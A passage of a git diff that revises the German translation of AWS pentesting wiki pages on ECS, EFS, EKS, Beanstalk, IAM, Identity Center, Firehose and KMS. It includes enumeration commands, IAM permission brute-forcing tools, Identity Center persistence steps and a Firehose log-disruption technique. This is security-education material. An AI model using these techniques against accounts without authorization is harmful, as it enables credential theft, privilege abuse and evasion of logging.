auszuführenden Aufgaben, die automatische Skalierung, den Kapazitätsanbieter (Fargate/EC2/Extern),** **Netzwerkinformationen** wie VPCs, Subnetze und Sicherheitsgruppen. +- **Cluster** sind **Gruppen von Containern**, die in der Cloud ausgeführt werden. Wie bereits erwähnt, gibt es zwei Starttypen für Container, EC2 und Fargate. AWS definiert den **EC2** Starttyp als die Möglichkeit für Kunden, „\[ihre\] containerisierten Anwendungen auf einem Cluster von Amazon EC2-Instanzen, die \[sie\] **verwaltet**“ auszuführen. **Fargate** ist ähnlich und wird definiert als „\[ermöglicht\] Ihnen, Ihre containerisierten Anwendungen **ohne die Notwendigkeit, die Backend-Infrastruktur bereitzustellen und zu verwalten** auszuführen“. +- **Dienste** werden innerhalb eines Clusters erstellt und sind verantwortlich für **das Ausführen der Aufgaben**. In einer Dienstdefinition **definieren Sie die Anzahl der auszuführenden Aufgaben, die automatische Skalierung, den Kapazitätsanbieter (Fargate/EC2/Extern),** **Netzwerkinformationen** wie VPCs, Subnetze und Sicherheitsgruppen. - Es gibt **2 Arten von Anwendungen**: - **Dienst**: Eine Gruppe von Aufgaben, die eine lang laufende Rechenarbeit verwaltet, die gestoppt und neu gestartet werden kann. Zum Beispiel eine Webanwendung. - **Aufgabe**: Eine eigenständige Aufgabe, die ausgeführt und beendet wird. Zum Beispiel ein Batch-Job. - Unter den Dienstanwendungen gibt es **2 Arten von Dienstplanern**: - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Die Replikationsplanungsstrategie platziert und **pflegt die gewünschte Anzahl** von Aufgaben in Ihrem Cluster. Wenn aus irgendeinem Grund eine Aufgabe heruntergefahren wird, wird eine neue auf demselben oder einem anderen Knoten gestartet. -- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Setzt genau eine Aufgabe auf jeder aktiven Containerinstanz ein, die die benötigten Anforderungen hat. Es ist nicht erforderlich, eine gewünschte Anzahl von Aufgaben, eine Aufgabenplatzierungsstrategie oder Service-Auto-Skalierungsrichtlinien anzugeben. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Setzt genau eine Aufgabe auf jeder aktiven Containerinstanz ein, die die erforderlichen Anforderungen hat. Es ist nicht erforderlich, eine gewünschte Anzahl von Aufgaben, eine Aufgabenplatzierungsstrategie oder Service-Auto-Scaling-Richtlinien anzugeben. - **Aufgabendefinitionen** sind verantwortlich für **die Definition, welche Container ausgeführt werden** und die verschiedenen Parameter, die mit den Containern konfiguriert werden, wie **Portzuordnungen** mit dem Host, **Umgebungsvariablen**, Docker **Einstiegspunkt**... - Überprüfen Sie **Umgebungsvariablen auf sensible Informationen**! @@ -51,13 +51,13 @@ aws ecs describe-tasks --cluster --tasks ## Look for env vars and secrets used from the task definition aws ecs describe-task-definition --task-definition : ``` -### Unauthenticated Access +### Unauthentifizierter Zugriff {{#ref}} ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md {{#endref}} -### Privesc +### Privilegieneskalation Auf der folgenden Seite können Sie überprüfen, wie man **ECS-Berechtigungen missbraucht, um Privilegien zu eskalieren**: @@ -65,13 +65,13 @@ Auf der folgenden Seite können Sie überprüfen, wie man **ECS-Berechtigungen m ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### Post Exploitation +### Post-Exploitation {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md {{#endref}} -### Persistence +### Persistenz {{#ref}} ../aws-persistence/aws-ecs-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index 1e345d128..3d4e61ae8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -4,11 +4,11 @@ ## EFS -### Grundinformationen +### Grundlegende Informationen -Amazon Elastic File System (EFS) wird von AWS als **vollständig verwaltetes, skalierbares und elastisches Netzwerkdateisystem** präsentiert. Der Dienst erleichtert die Erstellung und Konfiguration von **Dateisystemen**, die gleichzeitig von mehreren EC2-Instanzen und anderen AWS-Diensten zugegriffen werden können. Die Hauptmerkmale von EFS umfassen die Fähigkeit, automatisch ohne manuelles Eingreifen zu skalieren, einen latenzarmen Zugriff bereitzustellen, hochdurchsatzfähige Workloads zu unterstützen, Datenhaltbarkeit zu garantieren und nahtlos mit verschiedenen AWS-Sicherheitsmechanismen zu integrieren. +Amazon Elastic File System (EFS) wird von AWS als ein **vollständig verwaltetes, skalierbares und elastisches Netzwerkdateisystem** präsentiert. Der Dienst erleichtert die Erstellung und Konfiguration von **Dateisystemen**, die gleichzeitig von mehreren EC2-Instanzen und anderen AWS-Diensten zugegriffen werden können. Die Hauptmerkmale von EFS sind die Fähigkeit, automatisch ohne manuelles Eingreifen zu skalieren, einen latenzarmen Zugriff bereitzustellen, hochdurchsatzfähige Workloads zu unterstützen, die Datenhaltbarkeit zu garantieren und nahtlos mit verschiedenen AWS-Sicherheitsmechanismen zu integrieren. -Standardmäßig wird der EFS-Ordner, der gemountet werden soll, **`/`** sein, kann jedoch einen **anderen Namen** haben. +Standardmäßig wird der EFS-Ordner, der gemountet werden soll, **`/`** sein, könnte jedoch einen **anderen Namen** haben. ### Netzwerkzugang @@ -16,7 +16,7 @@ Ein EFS wird in einer VPC erstellt und wäre **standardmäßig in allen VPC-Subn Ohne dies **werden Sie nicht in der Lage sein, den NFS-Dienst zu kontaktieren**. -Für weitere Informationen darüber, wie man dies macht, siehe: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) +Für weitere Informationen darüber, wie dies zu tun ist, siehe: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) ### Aufzählung ```bash @@ -92,20 +92,20 @@ sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` -### Access Points +### Zugriffspunkte -**Zugangspunkte** sind **anwendungs**spezifische Einstiegspunkte **in ein EFS-Dateisystem**, die es einfacher machen, den Zugriff von Anwendungen auf gemeinsame Datensätze zu verwalten. +**Zugriffspunkte** sind **anwendungs**spezifische Einstiegspunkte **in ein EFS-Dateisystem**, die es einfacher machen, den Anwendungszugriff auf gemeinsame Datensätze zu verwalten. -Wenn Sie einen Zugangspunkt erstellen, können Sie **den Eigentümer und die POSIX-Berechtigungen** für die Dateien und Verzeichnisse, die über den Zugangspunkt erstellt werden, **spezifizieren**. Sie können auch **ein benutzerdefiniertes Stammverzeichnis** für den Zugangspunkt definieren, entweder indem Sie ein vorhandenes Verzeichnis angeben oder ein neues mit den gewünschten Berechtigungen erstellen. Dies ermöglicht es Ihnen, **den Zugriff auf Ihr EFS-Dateisystem pro Anwendung oder pro Benutzer zu steuern**, was die Verwaltung und Sicherung Ihrer gemeinsamen Dateidaten erleichtert. +Wenn Sie einen Zugriffspunkt erstellen, können Sie **den Eigentümer und die POSIX-Berechtigungen** für die Dateien und Verzeichnisse, die über den Zugriffspunkt erstellt werden, **spezifizieren**. Sie können auch **ein benutzerdefiniertes Stammverzeichnis** für den Zugriffspunkt definieren, entweder indem Sie ein vorhandenes Verzeichnis angeben oder ein neues mit den gewünschten Berechtigungen erstellen. Dies ermöglicht es Ihnen, **den Zugriff auf Ihr EFS-Dateisystem pro Anwendung oder pro Benutzer zu steuern**, was die Verwaltung und Sicherung Ihrer gemeinsamen Dateidaten erleichtert. -**Sie können das Dateisystem von einem Zugangspunkt mit etwas wie:** +**Sie können das Dateisystem von einem Zugriffspunkt mit etwas wie:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ /efs/ ``` > [!WARNING] -> Beachten Sie, dass Sie selbst beim Versuch, einen Zugriffspunkt zu mounten, in der Lage sein müssen, **den NFS-Dienst über das Netzwerk zu kontaktieren**, und wenn das EFS eine Dateisystem-**richtlinie** hat, benötigen Sie **ausreichende IAM-Berechtigungen**, um es zu mounten. +> Beachten Sie, dass Sie selbst beim Versuch, einen Zugriffspunkt zu mounten, in der Lage sein müssen, **den NFS-Dienst über das Netzwerk zu kontaktieren**, und wenn das EFS eine **Richtlinie** für das Dateisystem hat, benötigen Sie **ausreichende IAM-Berechtigungen**, um es zu mounten. Zugriffspunkte können für die folgenden Zwecke verwendet werden: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index 8c151260e..cc94e226c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,13 +4,13 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) wurde entwickelt, um die Notwendigkeit zu beseitigen, dass Benutzer ihren eigenen Kubernetes-Control-Plane oder Knoten installieren, betreiben und verwalten müssen. Stattdessen verwaltet Amazon EKS diese Komponenten und bietet eine vereinfachte Möglichkeit, containerisierte Anwendungen mit Kubernetes auf AWS bereitzustellen, zu verwalten und zu skalieren. +Amazon Elastic Kubernetes Service (Amazon EKS) wurde entwickelt, um die Notwendigkeit für Benutzer zu beseitigen, ihren eigenen Kubernetes-Control-Plane oder Knoten zu installieren, zu betreiben und zu verwalten. Stattdessen verwaltet Amazon EKS diese Komponenten und bietet eine vereinfachte Möglichkeit, containerisierte Anwendungen mit Kubernetes auf AWS bereitzustellen, zu verwalten und zu skalieren. Wichtige Aspekte von Amazon EKS sind: 1. **Verwalteter Kubernetes-Control-Plane**: Amazon EKS automatisiert kritische Aufgaben wie Patching, Knotenbereitstellung und Updates. 2. **Integration mit AWS-Diensten**: Es bietet nahtlose Integration mit AWS-Diensten für Compute, Storage, Datenbanken und Sicherheit. -3. **Skalierbarkeit und Sicherheit**: Amazon EKS ist so konzipiert, dass es hochverfügbar und sicher ist, und bietet Funktionen wie automatische Skalierung und Isolation durch Design. +3. **Skalierbarkeit und Sicherheit**: Amazon EKS ist so konzipiert, dass es hochverfügbar und sicher ist, und bietet Funktionen wie automatisches Scaling und Isolation durch Design. 4. **Kompatibilität mit Kubernetes**: Anwendungen, die auf Amazon EKS ausgeführt werden, sind vollständig kompatibel mit Anwendungen, die in jeder standardmäßigen Kubernetes-Umgebung ausgeführt werden. #### Enumeration @@ -31,7 +31,7 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` -#### Post Exploitation +#### Nach der Ausnutzung {{#ref}} ../aws-post-exploitation/aws-eks-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 91726c611..a7bd5ae31 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -6,9 +6,9 @@ Amazon Elastic Beanstalk bietet eine vereinfachte Plattform für **die Bereitstellung, Verwaltung und Skalierung von Webanwendungen und -diensten**. Es unterstützt eine Vielzahl von Programmiersprachen und Frameworks, wie Java, .NET, PHP, Node.js, Python, Ruby und Go sowie Docker-Container. Der Dienst ist mit weit verbreiteten Servern wie Apache, Nginx, Passenger und IIS kompatibel. -Elastic Beanstalk bietet eine einfache und flexible Möglichkeit, **Ihre Anwendungen in die AWS-Cloud bereitzustellen**, ohne sich um die zugrunde liegende Infrastruktur kümmern zu müssen. Es **verwaltet automatisch** die Details der Kapazitäts-**bereitstellung**, Lasten-**verteilung**, **Skalierung** und Anwendungsstatus-**überwachung**, sodass Sie sich auf das Schreiben und Bereitstellen Ihres Codes konzentrieren können. +Elastic Beanstalk bietet eine einfache und flexible Möglichkeit, **Ihre Anwendungen in die AWS-Cloud bereitzustellen**, ohne sich um die zugrunde liegende Infrastruktur kümmern zu müssen. Es **verwaltet automatisch** die Details der Kapazitäts-**bereitstellung**, Lasten-**verteilung**, **Skalierung** und Überwachung der Anwendungsleistung, sodass Sie sich auf das Schreiben und Bereitstellen Ihres Codes konzentrieren können. -Die von Elastic Beanstalk erstellte Infrastruktur wird von **Autoscaling**-Gruppen in **EC2** (mit einem Lastenausgleich) verwaltet. Das bedeutet, dass Sie am Ende des Tages, wenn Sie **den Host kompromittieren**, über EC2 Bescheid wissen sollten: +Die Infrastruktur, die von Elastic Beanstalk erstellt wird, wird von **Autoscaling**-Gruppen in **EC2** (mit einem Lastenausgleich) verwaltet. Das bedeutet, dass Sie am Ende des Tages, wenn Sie **den Host kompromittieren**, über EC2 Bescheid wissen sollten: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -32,14 +32,14 @@ In AWS Elastic Beanstalk dienen die Konzepte einer "Anwendung" und einer "Umgebu #### Umgebung -- Eine Umgebung ist eine **bereitgestellte Instanz Ihrer Anwendung**, die auf der AWS-Infrastruktur läuft. Es ist **der Ort, an dem Ihr Anwendungscode bereitgestellt und ausgeführt wird**. Elastic Beanstalk stellt die erforderlichen Ressourcen (z. B. EC2-Instanzen, Lastenausgleich, Auto-Scaling-Gruppen, Datenbanken) basierend auf der Umgebungs-Konfiguration bereit. +- Eine Umgebung ist eine **bereitgestellte Instanz Ihrer Anwendung**, die auf der AWS-Infrastruktur läuft. Es ist **der Ort, an dem Ihr Anwendungscode bereitgestellt und ausgeführt wird**. Elastic Beanstalk stellt die erforderlichen Ressourcen (z. B. EC2-Instanzen, Lastenausgleicher, Auto-Scaling-Gruppen, Datenbanken) basierend auf der Umgebungs-Konfiguration bereit. - **Jede Umgebung führt eine einzelne Version Ihrer Anwendung aus**, und Sie können mehrere Umgebungen für verschiedene Zwecke haben, wie Entwicklung, Test, Staging und Produktion. - Wenn Sie eine Umgebung erstellen, wählen Sie eine Plattform (z. B. Java, .NET, Node.js usw.) und einen Umgebungs-Typ (z. B. Webserver oder Worker). Sie können auch die Umgebungs-Konfiguration anpassen, um verschiedene Aspekte der Infrastruktur und der Anwendungseinstellungen zu steuern. ### 2 Arten von Umgebungen -1. **Webserver-Umgebung**: Sie ist darauf ausgelegt, **Webanwendungen und APIs zu hosten und bereitzustellen**. Diese Anwendungen bearbeiten typischerweise eingehende HTTP/HTTPS-Anfragen. Die Webserver-Umgebung stellt Ressourcen wie **EC2-Instanzen, Lastenausgleich und Auto-Scaling**-Gruppen bereit, um eingehenden Datenverkehr zu bewältigen, die Kapazität zu verwalten und die hohe Verfügbarkeit der Anwendung sicherzustellen. -2. **Worker-Umgebung**: Sie ist darauf ausgelegt, **Hintergrundaufgaben** zu verarbeiten, die oft zeitaufwändige oder ressourcenintensive Operationen sind, die keine sofortigen Antworten an die Clients erfordern. Die Worker-Umgebung stellt Ressourcen wie **EC2-Instanzen und Auto-Scaling-Gruppen** bereit, hat jedoch **keinen Lastenausgleich**, da sie keine HTTP/HTTPS-Anfragen direkt bearbeitet. Stattdessen konsumiert sie Aufgaben aus einer **Amazon Simple Queue Service (SQS)-Warteschlange**, die als Puffer zwischen der Worker-Umgebung und den Aufgaben fungiert, die sie verarbeitet. +1. **Webserver-Umgebung**: Sie ist dafür ausgelegt, **Webanwendungen und APIs zu hosten und bereitzustellen**. Diese Anwendungen bearbeiten typischerweise eingehende HTTP/HTTPS-Anfragen. Die Webserver-Umgebung stellt Ressourcen wie **EC2-Instanzen, Lastenausgleicher und Auto-Scaling**-Gruppen bereit, um den eingehenden Datenverkehr zu bewältigen, die Kapazität zu verwalten und die hohe Verfügbarkeit der Anwendung sicherzustellen. +2. **Worker-Umgebung**: Sie ist dafür ausgelegt, **Hintergrundaufgaben** zu verarbeiten, die oft zeitaufwendig oder ressourcenintensiv sind und keine sofortigen Antworten an die Clients erfordern. Die Worker-Umgebung stellt Ressourcen wie **EC2-Instanzen und Auto-Scaling-Gruppen** bereit, hat jedoch **keinen Lastenausgleicher**, da sie keine HTTP/HTTPS-Anfragen direkt bearbeitet. Stattdessen konsumiert sie Aufgaben aus einer **Amazon Simple Queue Service (SQS)-Warteschlange**, die als Puffer zwischen der Worker-Umgebung und den Aufgaben fungiert, die sie verarbeitet. ### Sicherheit @@ -48,7 +48,7 @@ Beim Erstellen einer App in Beanstalk gibt es 3 sehr wichtige Sicherheitsoptione - **EC2-Schlüsselpaar**: Dies wird der **SSH-Schlüssel** sein, der auf die EC2-Instanzen zugreifen kann, die die App ausführen. - **IAM-Instanzprofil**: Dies ist das **Instanzprofil**, das die Instanzen haben werden (**IAM-Berechtigungen**). - Die automatisch generierte Rolle heißt **`aws-elasticbeanstalk-ec2-role`** und hat einige interessante Zugriffsrechte über alle ECS, alle SQS, DynamoDB Elastic Beanstalk und Elastic Beanstalk S3 unter Verwendung der von AWS verwalteten Richtlinien: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Service-Rolle**: Dies ist die **Rolle, die der AWS-Dienst** verwenden wird, um alle erforderlichen Aktionen auszuführen. Soweit ich weiß, kann ein regulärer AWS-Benutzer nicht auf diese Rolle zugreifen. +- **Service-Rolle**: Dies ist die **Rolle, die der AWS-Dienst** verwenden wird, um alle erforderlichen Aktionen auszuführen. Soweit ich weiß, kann ein regulärer AWS-Benutzer auf diese Rolle nicht zugreifen. - Diese von AWS generierte Rolle heißt **`aws-elasticbeanstalk-service-role`** und verwendet die von AWS verwalteten Richtlinien [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) und [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) Standardmäßig ist **Metadatenversion 1 deaktiviert**: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index a8a96f742..5e702537e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -90,11 +90,11 @@ aws iam list-virtual-mfa-devices ``` ### Berechtigungen Brute Force -Wenn Sie an Ihren eigenen Berechtigungen interessiert sind, aber keinen Zugriff auf die Abfrage von IAM haben, könnten Sie sie immer brute-forcen. +Wenn Sie an Ihren eigenen Berechtigungen interessiert sind, aber keinen Zugriff haben, um IAM abzufragen, können Sie sie immer brute-forcen. #### bf-aws-permissions -Das Tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) ist nur ein Bash-Skript, das unter Verwendung des angegebenen Profils alle **`list*`, `describe*`, `get*`** Aktionen ausführt, die es mithilfe der `aws` CLI-Hilfenachrichten finden kann, und **gibt die erfolgreichen Ausführungen zurück**. +Das Tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) ist nur ein Bash-Skript, das mit dem angegebenen Profil alle **`list*`, `describe*`, `get*`** Aktionen ausführt, die es mithilfe der `aws` CLI-Hilfenachrichten finden kann, und **die erfolgreichen Ausführungen zurückgibt**. ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt @@ -130,7 +130,7 @@ python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PR #### enumerate-iam -Um das Tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) zu verwenden, müssen Sie zuerst alle API AWS-Endpunkte herunterladen. Aus diesen wird das Skript **`generate_bruteforce_tests.py`** alle **"list\_", "describe\_" und "get\_" Endpunkte** abrufen. Schließlich wird es versuchen, **auf sie zuzugreifen** mit den angegebenen Anmeldeinformationen und **anzeigen, ob es funktioniert hat**. +Um das Tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) zu verwenden, müssen Sie zuerst alle API AWS-Endpunkte herunterladen. Das Skript **`generate_bruteforce_tests.py`** wird dann alle **"list\_", "describe\_", und "get\_" Endpunkte** abrufen. Schließlich wird es versuchen, **auf diese zuzugreifen** mit den angegebenen Anmeldeinformationen und **anzeigen, ob es funktioniert hat**. (In meiner Erfahrung **hängt das Tool irgendwann**, [**sehen Sie sich diesen Fix an**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c), um zu versuchen, das zu beheben). @@ -154,7 +154,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess ``` #### weirdAAL -Sie können auch das Tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki) verwenden. Dieses Tool überprüft **mehrere gängige Operationen auf mehreren gängigen Diensten** (es wird einige Enumerationsberechtigungen und auch einige Privesc-Berechtigungen überprüfen). Aber es wird nur die codierten Überprüfungen prüfen (der einzige Weg, um mehr Dinge zu überprüfen, besteht darin, mehr Tests zu codieren). +Sie können auch das Tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki) verwenden. Dieses Tool überprüft **mehrere gängige Operationen auf mehreren gängigen Diensten** (es werden einige Enumerationsberechtigungen und auch einige Privesc-Berechtigungen überprüft). Es werden jedoch nur die codierten Überprüfungen durchgeführt (der einzige Weg, um mehr zu überprüfen, besteht darin, weitere Tests zu codieren). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -178,7 +178,7 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` -#### Tools zur Härtung von BF-Berechtigungen +#### Härtungswerkzeuge zur BF-Berechtigungen {{#tabs }} {{#tab name="CloudSploit" }} @@ -255,7 +255,7 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` -### Enumeration +### Aufzählung Die Hauptbestandteile des Identity Centers sind: @@ -302,7 +302,7 @@ aws identitystore list-group-memberships-for-member --identity-store-id --user-name privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` - Erstellen Sie eine Gruppe und weisen Sie ihr Berechtigungen zu und setzen Sie einen kontrollierten Benutzer darauf -- Geben Sie einem kontrollierten Benutzer oder einer Gruppe zusätzliche Berechtigungen +- Gewähren Sie einem kontrollierten Benutzer oder einer Gruppe zusätzliche Berechtigungen - Standardmäßig können nur Benutzer mit Berechtigungen aus dem Management-Konto auf das IAM Identity Center zugreifen und es steuern. Es ist jedoch möglich, über den Delegierten Administrator Benutzern aus einem anderen Konto die Verwaltung zu ermöglichen. Sie werden nicht genau die gleichen Berechtigungen haben, aber sie werden in der Lage sein, [**Verwaltungsaktivitäten**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) durchzuführen. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 3861a63c7..50ee8f682 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -20,7 +20,7 @@ aws firehose describe-delivery-stream --delivery-stream-name | grep -i Ro ``` ## Post-Exploitation / Verteidigungsumgehung -Falls Firehose verwendet wird, um Protokolle oder Verteidigungseinblicke zu senden, könnte ein Angreifer durch die Nutzung dieser Funktionen verhindern, dass es ordnungsgemäß funktioniert. +Falls Firehose verwendet wird, um Protokolle oder Verteidigungsinformationen zu senden, könnte ein Angreifer durch die Nutzung dieser Funktionen verhindern, dass es ordnungsgemäß funktioniert. ### firehose:DeleteDeliveryStream ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index d93ba71c2..70f1c7201 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -21,7 +21,7 @@ Es gibt 2 Arten von Master-Schlüsseln: - **AWS verwaltete CMKs: Werden von anderen Diensten zur Verschlüsselung von Daten verwendet**. Es wird von dem Dienst verwendet, der es in einer Region erstellt hat. Sie werden beim ersten Mal erstellt, wenn Sie die Verschlüsselung in diesem Dienst implementieren. Wechselt alle 3 Jahre und es ist nicht möglich, es zu ändern. - **Kundenverwaltete CMKs**: Flexibilität, Rotation, konfigurierbarer Zugriff und Schlüsselrichtlinie. Aktivieren und Deaktivieren von Schlüsseln. -**Envelope Encryption** im Kontext des Key Management Service (KMS): Zweistufiges Hierarchiesystem zur **Verschlüsselung von Daten mit einem Datenschlüssel und dann zur Verschlüsselung des Datenschlüssels mit einem Master-Schlüssel**. +**Envelope Encryption** im Kontext des Key Management Service (KMS): Zweistufiges Hierarchiesystem zur **Verschlüsselung von Daten mit einem Datenschlüssel und dann Verschlüsselung des Datenschlüssels mit dem Master-Schlüssel**. ### Schlüsselrichtlinien @@ -31,7 +31,7 @@ Diese definieren **wer einen Schlüssel in KMS verwenden und darauf zugreifen ka - Es gibt dem **IAM des** **AWS-Kontos, das den KMS-Schlüssel besitzt, Zugriff**, um den Zugriff auf den KMS-Schlüssel über IAM zu verwalten. -Im Gegensatz zu anderen AWS-Ressourcenrichtlinien gewährt eine AWS **KMS-Schlüsselrichtlinie nicht automatisch Berechtigungen an eines der Prinzipale des Kontos**. Um den Kontoadministratoren Berechtigungen zu gewähren, **muss die Schlüsselrichtlinie eine explizite Aussage enthalten**, die diese Berechtigung bereitstellt, wie diese hier. +Im Gegensatz zu anderen AWS-Ressourcenrichtlinien gewährt eine AWS **KMS-Schlüsselrichtlinie nicht automatisch Berechtigungen an die Prinzipale des Kontos**. Um den Kontoadministratoren Berechtigungen zu gewähren, **muss die Schlüsselrichtlinie eine explizite Aussage enthalten**, die diese Berechtigung bereitstellt, wie diese hier. - Ohne die Erlaubnis des Kontos (`"AWS": "arn:aws:iam::111122223333:root"`) funktionieren IAM-Berechtigungen nicht. @@ -84,23 +84,23 @@ Grants: ### Schlüsseladministratoren -Schlüsseladministrator standardmäßig: +Schlüsseladministratoren standardmäßig: -- Haben Zugriff zur Verwaltung von KMS, jedoch nicht zum Verschlüsseln oder Entschlüsseln von Daten. +- Haben Zugriff zur Verwaltung von KMS, aber nicht zum Verschlüsseln oder Entschlüsseln von Daten. - Nur IAM-Benutzer und -Rollen können zur Liste der Schlüsseladministratoren hinzugefügt werden (keine Gruppen). - Wenn eine externe CMK verwendet wird, haben Schlüsseladministratoren die Berechtigung, Schlüsselmaterial zu importieren. ### Rotation von CMKs -- Je länger derselbe Schlüssel an Ort und Stelle bleibt, desto mehr Daten werden mit diesem Schlüssel verschlüsselt, und wenn dieser Schlüssel kompromittiert wird, desto größer ist der Gefahrenbereich der betroffenen Daten. Darüber hinaus steigt die Wahrscheinlichkeit eines Angriffs, je länger der Schlüssel aktiv ist. +- Je länger derselbe Schlüssel an Ort und Stelle bleibt, desto mehr Daten werden mit diesem Schlüssel verschlüsselt, und wenn dieser Schlüssel kompromittiert wird, desto größer ist das Risiko für die Daten. Darüber hinaus steigt die Wahrscheinlichkeit, dass der Schlüssel kompromittiert wird, je länger er aktiv ist. - **KMS rotiert Kundenschlüssel alle 365 Tage** (oder Sie können den Prozess manuell durchführen, wann immer Sie möchten) und **Schlüssel, die von AWS verwaltet werden, alle 3 Jahre**, und diese Zeit kann nicht geändert werden. - **Ältere Schlüssel werden aufbewahrt**, um Daten zu entschlüsseln, die vor der Rotation verschlüsselt wurden. - Bei einem Bruch wird die Rotation des Schlüssels die Bedrohung nicht beseitigen, da es möglich sein wird, alle Daten zu entschlüsseln, die mit dem kompromittierten Schlüssel verschlüsselt wurden. Allerdings werden **neue Daten mit dem neuen Schlüssel verschlüsselt**. -- Wenn die **CMK** im Zustand **deaktiviert** oder **in der Löschung** **ausstehend** ist, wird KMS **keine Schlüsselrotation durchführen**, bis die CMK wieder aktiviert oder die Löschung abgebrochen wird. +- Wenn die **CMK** im Zustand **deaktiviert** oder **in der Löschung ausstehend** ist, wird KMS **keine Schlüsselrotation durchführen**, bis die CMK wieder aktiviert oder die Löschung abgebrochen wird. #### Manuelle Rotation -- Eine **neue CMK muss erstellt werden**, dann wird eine neue CMK-ID erstellt, sodass Sie **jede Anwendung aktualisieren** müssen, um die neue CMK-ID **zu referenzieren**. +- Eine **neue CMK muss erstellt werden**, dann wird eine neue CMK-ID erstellt, sodass Sie **alle Anwendungen** **aktualisieren** müssen, um auf die neue CMK-ID zu **verweisen**. - Um diesen Prozess zu erleichtern, können Sie **Aliase verwenden, um auf eine Schlüssel-ID zu verweisen** und dann einfach den Schlüssel aktualisieren, auf den der Alias verweist. - Sie müssen **alte Schlüssel aufbewahren, um alte Dateien** zu entschlüsseln, die damit verschlüsselt wurden. @@ -108,7 +108,7 @@ Sie können Schlüssel aus Ihrer lokalen Schlüssel-Infrastruktur importieren. ### Weitere relevante KMS-Informationen -KMS wird nach der Anzahl der pro Monat von allen Diensten 